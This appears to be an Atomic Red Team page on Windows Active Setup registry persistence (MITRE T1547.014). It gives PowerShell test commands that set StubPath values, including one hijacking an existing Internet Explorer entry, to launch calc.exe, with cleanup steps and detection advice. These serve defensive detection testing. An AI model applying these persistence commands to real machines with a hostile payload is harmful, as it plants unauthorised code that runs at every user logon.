T1547.014 - Active Setup#
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account’s associated permissions level.
Adversaries may abuse Active Setup by creating a key under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components</code> and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)
Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
Atomic Tests#
Atomic Test #1 - HKLM - Add atomic_test key to launch executable as part of user setupThis test will create an “atomic_test” key under ‘HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components’ to launch calc by configuring an active setup executable and#
forcing to run active setup using the “runonce.exe /AlternateShellStartup” command. Without the “runonce.exe /AlternateShellStartup” command it would run during the next logon for each user.
Note: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup sequence to log back in. The payload will only run once unless the cleanup command is run in between tests.
Active Setup Explained
Supported Platforms: windows
Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell
New-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components" -Name "atomic_test" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" "(Default)" "ART TEST" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" "StubPath" "C:\Windows\System32\calc.exe" -Force
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup```
Invoke-AtomicTest T1547.014 -TestNumbers 1
Cleanup:#
Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore
Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore```
Invoke-AtomicTest T1547.014 -TestNumbers 1 -Cleanup
Atomic Test #2 - HKLM - Add malicious StubPath value to existing Active Setup EntryThis test will add a StubPath entry to the Active Setup native registry key associated with ‘Internet Explorer Core Fonts’ (UUID {C9E9A340-D1F1-11D0-821E-444553540600})#
Said key doesn’t have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup.
Without the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.
Supported Platforms: windows
Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" "StubPath" "C:\Windows\System32\calc.exe" -Force
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup```
Invoke-AtomicTest T1547.014 -TestNumbers 2
Cleanup:#
Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "StubPath" -Force
Remove-ItemProperty "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Force```
Invoke-AtomicTest T1547.014 -TestNumbers 2 -Cleanup
Atomic Test #3 - HKLM - re-execute ‘Internet Explorer Core Fonts’ StubPath payload by decreasing version numberThis test will decrease the version number of the ‘Internet Explorer Core Fonts’ (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for the current user,#
which will force the StubPath payload (if set) to execute.
Supported Platforms: windows
Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Value "0,0,0,0"
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup
Invoke-AtomicTest T1547.014 -TestNumbers 3
Detection#
Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components</code>.
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.